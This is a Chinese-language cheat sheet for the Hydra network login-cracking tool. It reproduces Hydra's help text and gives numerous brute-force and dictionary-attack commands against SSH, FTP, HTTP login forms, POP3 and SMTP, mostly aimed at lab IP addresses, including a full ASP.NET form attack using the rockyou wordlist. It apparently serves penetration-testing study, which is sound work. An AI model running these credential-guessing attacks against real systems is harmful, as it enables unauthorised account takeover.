Hydra
Hydra
Hydra是一款著名的网络登录破解工具,它支持多种协议来攻击远程认证服务,尝试猜测用户名和密码。
Hydra v9.5(c)2023年由van Hauser/THC与David Maciejak开发 - 请勿在军事或秘密服务机构中使用,或用于非法目的(这是不具约束力的,这些人无论如何都会无视法律和道德)。
语法:hydra -L 文件] [-p 密码 | [-C 文件]] [-e nsr] [-o 文件] [-t 任务数] [-M 文件 [-T 任务数]] [-w 时间] [-W 时间] [-f] [-s 端口] [-x 最小值:最大值:字符集] [-c 时间] [-ISOuvVd46] [-m 模块选项] [服务://服务器[:端口][/选项]]
选项:
-R 恢复之前中断/崩溃的会话
-I 忽略现有的恢复文件(不等待10秒)
-S 执行SSL连接
-s 端口 如果服务在不同的默认端口上,请在此定义
-l 登录名 或 -L 文件 使用登录名登录,或从文件加载多个登录名
-p 密码 或 -P 文件 尝试密码PASS,或从文件加载多个密码
-x 最小值:最大值:字符集 密码暴力破解生成,输入"-x -h"获取帮助
-y 禁用在暴力破解中使用符号,参见上文
-r 对于选项-x,使用非随机的洗牌方法
-e nsr 尝试“n”空密码,“s”登录作为密码和/或“r”反向登录
-u 围绕用户循环,而不是密码(有效!与-x一起使用时暗示)
-C 文件 冒号分隔的“登录名:密码”格式,而不是-L/-P选项
-M 文件 攻击服务器列表,每行一个条目,':'指定端口
-o 文件 将找到的登录名/密码对写入文件而不是标准输出
-b 格式 指定-o文件的格式:文本(默认)、json、jsonv1
-f / -F 当找到登录名/密码对时退出(-M:每个主机-f,全局-F)
-t 任务数 每个目标并行运行的连接数(默认:16)
-T 任务数 总体并行运行的连接数(对于-M,默认:64)
-w / -W 时间 等待响应的时间(32)/每个线程之间连接的时间(0)
-c 时间 所有线程上每次登录尝试的等待时间(强制-t 1)
-4 / -6 使用IPv4(默认)/ IPv6地址(也要在-M中始终使用[])
-v / -V / -d 详细模式 / 显示每次尝试的登录名+密码 / 调试模式
-O 使用旧的SSL v2和v3
-K 不重做失败的尝试(适用于-M大规模扫描)
-q 不打印连接错误的消息
-U 服务模块使用详情
-m 选项 模块特定的选项,有关信息请参阅-U输出
-h 更多命令行选项(完整帮助)
服务器 目标:DNS、IP或192.168.0.0/24(此项或-M选项)
服务 要破解的服务(见下方支持的协议)
选项 一些服务模块支持额外的输入(-U获取模块帮助)
支持的服务:adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra是一个猜测/破解有效登录名/密码对的工具。
根据AGPL v3.0许可证授权。最新版本始终可在以下地址获得;
https://github.com/vanhauser-thc/thc-hydra
请勿在军事或秘密服务机构中使用,或用于非法目的。(这是一个愿望且不具约束力 - 大多数这样的人无论如何都不关心法律和道德 - 并告诉自己他们是好人之一。)
这些服务未被编译进入:afp ncp oracle sapr3 smb2。
使用HYDRA_PROXY_HTTP或HYDRA_PROXY环境变量进行代理设置。
例如:% export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150(或:socks4:// connect://)
% export HYDRA_PROXY=connect_and_socks_proxylist.txt(最多64个条目)
% export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
% export HYDRA_PROXY_HTTP=proxylist.txt(最多64个条目)
示例:
hydra -l 用户名 -P 密码列表.txt ftp://192.168.0.1
hydra -L 用户列表.txt -p 默认密码 imap://192.168.0.1/PLAIN
hydra -C 默认值.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l 管理员 -p 密码 ftp://[192.168.0.0/24]/
hydra -L 登录名.txt -P 密码.txt -M 目标.txt ssh
下是一些Hydra的常用操作:
基本的密码破解 :
hydra -l username -p password 192.168.56.112 ssh
在这个例子中,Hydra尝试使用单个用户名(-l
)和密码(-p
)来破解目标IP地址上的SSH服务。
使用密码列表 :
hydra -l username -P /path/to/password.list 192.168.56.112 ftp
-P
参数后面跟着的是密码列表的文件路径,Hydra将尝试这个列表中的所有密码来破解FTP服务。
使用用户名列表和密码列表 :
hydra -L /path/to/user.list -P /path/to/password.list 192.168.56.112 ssh
-L
参数用于指定用户名列表,Hydra将会尝试列表中的每一个用户名和密码的所有组合。
指定端口 :
hydra -l username -p password -s 8080 192.168.56.112 ssh
如果目标服务运行在非标准端口上,可以使用 -s
参数来指定端口号。
使用字典攻击 :
hydra -L /path/to/user.list -P /path/to/password.list 192.168.56.112 http-get
hydra -L /path/to/username.list -P /path/to/password.list http-get://192.168.56.112/webdev
hydra -L /path/to/user.list -P /path/to/password.list 192.168.56.112 http-get /webdev
字典攻击会使用预先准备好的用户名和密码列表来尝试登录。
针对特定的登录表单进行攻击 :
hydra 192.168.56.112 http-form-post "/login.php:username=^USER^&password=^PASS^:F=incorrect"
http-form-post
是攻击类型,后面跟着的是登录表单的路径、数据和失败时页面上的标识。
可通过burp 抓取数据来进行爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.180.175 http-post-form "/Account/login.aspx?ReturnURL=%2fadmin:__VIEWSTATE=XEBGWvnMRZS77rLCeFAdMgu1oF5Hokc7JFpCDqBbRJFDw4UZtXMxjkWj7QAilVzSeRhmjncMvgeT58BQcqUYUWswMuL0uDcjkoAb1OM9NkTGTyxicAMO2hW14zo8D3CBicGoirEoJzTpfMxs6FrFnLyflwWpy1KQhhV7kWLuXBD7N1Mh&__EVENTVALIDATION=1ccDC6raOQNiZ7wTaYFJMLOzj3MkvidIaJ8vXwyrjMGX3dtT9ObYWHYf%2BlQAsaYBj8B9dnUQ%2Bni9zZNPhwHr65UK7NnYYyIyl95WuaamT%2F23wQr2JSUkixe8lH2uTCQsgSzj%2ByzFrqG6qDhtpvWxa7IrdkbDOpurSy7CAxmAHrlcE4TG&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login Failed"
执行SSL连接
hydra 192.168.56.112 -S http-form-post "/login.php:username=^USER^&password=^PASS^:F=incorrect"
多线程 :
hydra -l username -P /path/to/password.list -t 16 192.168.56.112 pop3
-t
参数用于设置线程数,这里设置为16,意味着Hydra会并发运行16个线程来加快破解速度。
输出结果到文件 :
hydra -l username -P /path/to/password.list 192.168.56.112 https -o /path/to/output.txt
-o
参数用于指定输出文件路径,成功的登录尝试会被记录到这个文件中。
恢复中断的攻击 :
hydra -l username -P /path/to/password.list -R 192.168.56.112 smtp
-R
参数告诉Hydra从上次中断的位置继续攻击。